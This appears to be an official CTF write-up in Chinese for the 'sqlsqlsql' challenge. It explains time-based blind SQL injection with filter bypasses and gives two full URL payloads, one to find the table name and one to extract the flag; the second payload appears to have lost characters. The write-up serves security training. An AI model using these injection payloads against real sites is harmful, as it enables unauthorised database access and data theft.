sqlsqlsql

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • SQL注入

解题思路

前言

此题参考了第三届CBCTF的sql-labs

过滤

自己测试可以发现如下过滤

解题思路

users表字段id, name, emile, salary

flllag表字段id, asuazttaz

查看源码可以获得提示

1
<!-- select * from users where id = '$id'-->

这个提示是想说明要闭合id字段的引号 结合页面的英文提示,很容易想到这个题是时间盲注

需要注意的点

  1. 用异或来闭合引号

  2. case when then else end来替代if

  3. 用join多个大表造成延时

  4. 通过mysql5.7的sys.schema_table_statistics_with_buffer表查询表名

  5. 通过无列名注入获取字段内容

  6. 通过括号,或者引号包裹来代替空格

  7. flllag表有两个字段且flag值在第二个字段

  8. 通过like或者regexp来匹配结果(但是这里不能用like,师傅们结合flag内容具体想想,卖个关子)

payload

两秒左右的延时,查表名

1
http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database()))regexp"flllag"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1

查字段内容

1
http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(2))from(selectfrom(select(1))asajoin(select(2))asbunion(selectfrom(flllag)))asa)regexp"flag{aaa"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1

脚本就不给了,因为这个题是0解,师傅们看payload自己重新做吧